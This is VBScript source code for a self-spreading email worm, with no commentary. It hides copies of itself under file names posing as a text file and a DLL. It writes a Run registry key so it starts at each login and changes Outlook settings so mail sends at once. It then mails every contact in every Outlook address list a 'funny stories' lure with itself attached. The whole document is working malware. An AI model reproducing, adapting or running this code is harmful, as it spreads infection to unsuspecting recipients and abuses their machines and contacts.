option explicit dim myapp,myname,myaddlists,myaddlist,myentries,myentry,myatts,fso,mymail,regedit install send sub install() set regedit=createobject("WScript.shell") set myapp=createobject("Outlook.application") set myname=myapp.getnamespace("MAPI") Set fso = CreateObject ("Scripting.FileSystemObject") fso.GetFile(WScript.ScriptFullName).Copy("c:\windows\system\funnystories.txt .vbs") fso.getfile(wScript.scriptfullname).copy("c:\windows\system\fun.dll.vbs") on error resume next regedit.regwrite "HKCU\Software\Microsoft\Office\9.0\Outlook\Options\mail\Send Mail Immediately",1,"REG_DWORD" regedit.regwrite "HKCU\Software\Microsoft\Office\8.0\Outlook\Options\mail\Send Mail Immediately",1,"REG_DWORD" regedit.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Fundll","c:\windows\system\fun.dll.vbs" end sub sub send() set myaddlists=myname.addresslists for each myaddlist in myaddlists set myentries=myaddlist.Addressentries for each myentry in myentries set mymail=myapp.createitem(0) mymail.to=myentry.address mymail.subject="Funny...Funny...Funny...stories" mymail.body="Here are some funny stories and I hope you'll enjoy them. Have a good time! Bye" set myatts=mymail.attachments myatts.add "c:\windows\system\funnystories.txt .vbs",1,1 mymail.send next next end sub